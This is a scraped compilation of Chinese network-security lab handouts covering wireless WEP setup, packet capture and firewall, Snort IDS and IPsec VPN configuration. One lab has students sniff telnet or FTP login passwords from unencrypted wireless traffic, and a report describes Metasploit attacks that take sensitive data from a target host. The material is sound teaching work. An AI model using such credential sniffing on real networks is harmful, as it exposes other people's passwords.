(2) 注意理解实验原理和各步骤的含义对于操作步骤要着重理解其原理，对于无线网络安全机制要充分理解其作用和含义。
(3) 实验学时：2学时（90-100分钟）3.实验内容及步骤1. SSID和WEP设置(1) 在安装了无线网卡的计算机上，从“控制面板”中打开“网络连接”窗口，如17所示。
(2) 右击“无线网络连接”图标，在弹出的快捷菜单中选择“属性”选项，打开“无线网络属性”对话框，选中“无线网络配置”选项卡中的“用Windows配置我的无线网络设置”复选框，如18所示。
17 “网络连接”窗口18 “无线网络连接属性”对话框(3) 单击“首选网络“选项组中的“添加”按钮，显示“无线网络属性”对话框，如19所示。
该对话框用来设置网络。
1) 在“网络名（SSID）”文本框中输入一个名称，如hotspot，无线网络中的每台计算机都需要使用该网络名进行连接。
2) 在“网络验证”下拉列表中可以选择网络验证的方式，建议选择“开放式”。
无线网络实验二.无线局域网安全性实验
实验二：无线局域网安全性实验一、实验背景、目的和要求实验目的：掌握无线局域网络环境下安全选项的设置，无线数据抓包工具的使用实验要求：独立完成实验，未经同意不得随意更换您使用的设备。
二、实验环境和仪器设备计算机、Dlink DWL-2100AP或Dlink DWL-140无线网卡，Omnipeek5.x软件三、相关资料和参考文献四、实验任务1、熟悉Omnipeek5.x软件的使用2、对比无线局域网络在设置安全性与不设置安全性时的802.11MAC包结构五、实验内容（步骤）1、安装无线网卡及驱动，配置无线接入点2、安装Omnipeek5.x软件3、请按“实验2.说明.Doc”中的内容进行实验并记录分析结果六、完整的实验（算法、程序、电路或相关数据等）记录（不够可在第四页续）无线网络安全性实验说明一、分组说明及信道分配1、第一、四组使用1号信道2、第二、五组使用6号信道3、第三、六组使用11号信道二、实验说明一1、地址分配a)STA1<=>192.168.0.1b)Switch_telnet<=>192.168.0.250c)Monitor<=>192.168.0.2542、AP不设置任何安全选项3、Monitor主机上运行Omnipeek5.X软件用来抓取无线数据包，可以滤去beacon帧，4、在STA1上，通过远程访问Switch_telnet交换机5、分析抓取的数据包，找到远程访问交换机的登录口令6、如果实验条件中没有交换机可以使用，则可以使用如下拓扑结构，利用3comftp 软件搭建ftp 服务，创建新用户，然后使用新用户访问ftp 服务器，此时抓取数据包。
注：每个实验小组AP 都会工作在特定信道（为了防止实验小组信道冲突，请自行协商使用），请只抓取该信道内的数据帧。
三、实验说明二1、仍按实现说明一中的方式进行联网2、AP 配置WEP ，40bits 的安全策略3、STA1也设置WEP4、再按实验说明一中的步骤3-5进行实验四、结果分析1、对比不加密的无线局域网络数据包与使用WEP 加密的无线网络数据包的包结构，并做简要分析。
网络信息安全实验报告 (2)
网络信息安全实验报告 (2)网络信息安全实验报告1.实验目的1.1 掌握网络信息安全的基本概念和原理。
1.2 了解网络攻击的常见类型和防范措施。
1.3 学习使用网络安全工具进行漏洞扫描和安全测试。
2.实验设备2.1 计算机A：用于模拟攻击者的角色。
2.2 计算机B：用于模拟被攻击者的角色。
2.3 安全工具：例如Nmap、Wireshark、Metasploit等。
3.实验过程3.1 确保计算机A和计算机B处于同一局域网中。
3.2 使用Nmap进行端口扫描，寻找计算机B可能存在的漏洞。
3.3 使用Wireshark对网络流量进行监控，分析可能存在的攻击行为。
3.4 使用Metasploit进行渗透测试，尝试攻击计算机B并获取敏感信息。
3.5 记录实验过程中的关键步骤和结果。
4.实验结果分析4.1 端口扫描结果显示计算机B存在漏洞，例如开放了未授权的远程登录端口。
4.2 Wireshark监控到了攻击者对计算机B的密码尝试。
4.3 Metasploit成功获取了计算机B中的敏感信息。
5.安全防范措施5.1 及时更新操作系统和应用程序的补丁，修复已知的安全漏洞。
5.2 配置防火墙和入侵检测系统，监控和限制网络流量。
5.3 使用强密码，并定期更换密码。
5.4 对关键数据进行加密存储。
5.5 培训员工意识网络安全的重要性，并加强员工的安全意识教育。
附件：无法律名词及注释：1.远程登录端口：指用于从远程计算机登录另一个计算机的特定端口。
2.Wireshark：一款网络流量分析工具，用于抓取网络数据包以进行安全分析。
3.Metasploit：一款开源的渗透测试工具，用于模拟攻击行为并测试系统的安全性。
4.补丁：指软件开发商发布的修复软件中存在的安全漏洞的补丁程序。
5.防火墙：一种网络安全设备，用于监视和控制网络流量，保护网络免受未经授权的访问。
6.入侵检测系统：一种监控网络流量和系统日志，检测异常Activity和操纵的安全设备。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
企业典型网络安全架构部署实验
【实验内容】
学习配置防火墙的典型连接模式
配置防火墙的IP地址及vpn网络功能
企业典型网络安全架构部署实验
【实验原理】
SmoothWall 是免费开放源代码网络防火墙。
SmoothWall同时支持ISDN,ASDL/Cable 和多网卡等网络设备，基于web界面的SmoothWall防火墙软件有着非常丰富的选项。
您可以将它配置成一个代理服务器，或者DHCP服务器，或者为绿色区域服务的某些特别端口的包转发服务器等等。
作为一个代理服务器，你可以设置一些高级选项，比如用户端认证和延迟池等等。
这些功能对小公司或者家庭用户来说还是很有用的，但是对于大型企业来说，它们都是有自己特定的代理服务器。
您可以为你的DHCP服务器配置地址范围、WINS 服务器和静态IP地址。
你也可以选择动态DNS，提供远程连接服务的SSH程序和时间服务器。
SmoothWall通过第三方插件，可以扩展入侵检测、防病毒等其它功能，目前在开源社区以及开发了几十个插件，通过这些插件使得SmoothWall防火墙甚至达到了UTM的功能。
说明：
典型网络分为Green、Red及Orange三个区域，其中Green区域为内网，Red区域为外网，Orange区域为DMZ区。
实验中，学生根据实际网络情况，自行配置网卡地址用以完成实验。
系统管理员root 密码为：123456
Web管理员admin 密码为：123456
默认Web管理页面的访问端口为81端口
更多详细信息及开发，可以参考网站：企业典型网络
安全架构部署实验
【实验环境】
一、 典型实验环境
典型实验环境如图5.2.1-1所示，注意主机只能拥有内网地址。
GREEN 区域192.168.2.0/24
RED 区域192.168.1.0/24
图5.2.1-1
二、 VPN 网络环境
VPN 网络实验环境如图5.2.1-2所示，注意主机只能拥有内网地址。
图5.2.1-2
【实验步骤】
一、 安装VMware Player
从工具箱中下载企业典型网络安全架构部署实验、企业典型网络安全架构部署实验、企业典型网络安全架构部署实验到本地主机。
解压企业典型网络安全架构部署实验，双击3.1.4安装VMware Player，默认安装即可，安装后重启。
解压企业典型网络安全架构部署实验，将解压出的文件复制到VMware Player安装目录，覆盖原有文件。
然后启动复制过去的，设置虚拟机绑定的网卡（设置VMnet0桥接的物理网卡），点击“Apply”再点击“OK”。
图5.2.1-3
解压企业典型网络安全架构部署实验到本地主机，然后启动VMwarePlayer，打开smoothwall3虚拟机。
图5.2.1-4
图5.2.1-5
二、设置典型网络
(一)网卡配置
Smoothwall工作不同模式时，需要对虚拟机添加网卡。
(1)进入配置菜单
输入“setup”，选择网络设置，选择分别对网络工作类型，网卡分配，IP地址及DNS设置，如图5.2.1-7所示。
图5.2.1-6
图5.2.1-7
(2)分配网卡
注意：现有虚拟机如果已设定无须再做这一步
网络工作类型选择GREEN+ORANGE+RED，然后在Driver and card assignments中将现有物理网卡分配给Green，Orange，Red区域（按顺序为eth0，eth1，eth2，配置时直接按顺序选择即可）。
图5.2.1-8选择工作类型
图5.2.1-9选择Probe
图5.2.1-10网卡分配选择
(3)设置各网卡IP地址
对现用网卡进行IP地址设置，如图5.2.1-11所示，需要按照实验环境设置IP地址，注意不要使用冲突的IP地址。
注意：设置完成后选择Done。
图5.2.1-11
(二)防火墙网络区域的配置
防火墙的网络连接分为三个区域，三个区域分别为GREEN，RED，ORANGE，如图5.2.1-12所示。
防火墙
… …
… …
GREEN 区域192.168.2.0/24RED 区域192.168.1.0/24
ORANGE 区域192.168.3.0/24
防火墙内部接口192.168.2.222
主机A 192.168.2.43
主机B 192.168.3.43
网关C 192.168.1.1
图5.2.1-12
(1) 本地主机IP 地址为（根据实际情况设置，在GREEN 区域即网段）
设置本地网卡地址为，网关配置为，即防火墙内部接口地址，具体如图5.2.1-13所示。
图5.2.1-13
(2) 打开管理页面（，选择“Networking|Interface ”配置网卡，如图5.2.1-14所示。
图5.2.1-14
(3)页面上会列出该防火墙所有的网卡设备，管理员可对IP地址进行设置，IP详细设
置如：
Green区域IP地址如图5.2.1-15所示，表示防火墙的内部网络接口地址。
图5.2.1-15
Orange区域IP地址如图5.2.1-16所示，表示防火墙的DMZ网络接口地址。
图5.2.1-16
Red区域IP地址如图5.2.1-17所示，表示防火墙的外部网络接口地址。
并可设置外部接口的Dns和网关地址。
图5.2.1-17
网络连接如图5.2.1-12所示。
(三)S nort启动设置
点击services-->IDS 进入IDS配置界面如图5.2.1-18所示。
图5.2.1-18
Snort功能开启，选中snort后的选框，点击“SA VE”即可开启入侵检测功能，如图5.2.1-19所示。
图5.2.1-19
(四)检测设置
设置规则生效时间，即为在定义的时间内，入侵检测系统是停止工作的，如图5.2.1-20所示。
图5.2.1-20
(五)排除列表
用户可通过输入每条snort规则对应的sid和gid号，对相应的规则进行屏蔽。
即在Guardian Ignore SIDs中sid对应的规则的网络行为发生时，系统并不会产生日志，如图5.2.1-21所示。
图5.2.1-21
同时也可添加排除主机，即在Guardian Ignore IP中定义的IP，不再入侵检测IP范围内，同时也不会产生关于该Ip地址的入侵检测日志，如图5.2.1-22所示。
图5.2.1-22
(六)规则检索
点击如图5.2.1-23中的Oinkmaster Snort Configuration Tools连接，即可配置检索snort相应的规则。
如图所示，在search按钮上方的输入框输入snort规则的sid号，网页上则会列出所有号码为前缀的所有规则。
图5.2.1-23
图5.2.1-24
(七)定制规则
在Editing Box中可以手动输入IDS规则，规则格式为snort规则格式，并点击“save”进行保存，如图5.2.1-25所示。
重新启动snort，则新添加的snort规则生效。
图5.2.1-25
(八)查看日志
点击logs ids可以查看snort所记录的入侵检测日志，如图5.2.1-26所示。
日志中包括该条规则的报警信息，数据包流向，触发时间等信息。
图5.2.1-26
三、设置vpn网络
本实验两人一组，组成如实验环境中说明的拓扑结构对网络进行配置，具体拓扑图如图5.2.1-27所示。
网关B
…
…
192.168.1.75
主机A
192.168.1.40
…
…
网关A
192.168.2.222
192.168.2.1
192.168.5.5
192.168.5.6
图5.2.1-27
(1)A网关IPSecvpn 配置如图5.2.1-28所示。
图5.2.1-28
填写A网关外部地址，left。
填写A网关下一条目标地址，Right。
填写A网关内部子网，Left subnet。
填写A网关下一条目标网络，Right Subnet。
A和B填写相同的secret。
(2)B网关IPSecVPN配置如图5.2.1-29所示。
图5.2.1-29
填写A网关外部地址，left。
填写A网关下一条目标地址，Right。
填写A网关内部子网，Left Subnet。
填写A网关下一条目标网络，Right Subnet。
A和B填写相同的secret。
(3)如图5.2.1-30所示，添加连接。
图5.2.1-30
(4)连接成功如图5.2.1-31所示。
图5.2.1-31
当前连接可用时，则会显示open表示连接成功。
企业典型网络安全架构部署实验
【实验思考】
如何通过snort检测内部DDOS对外网攻击
添加多个连接，同时开启，看vpn网关能否正常工作。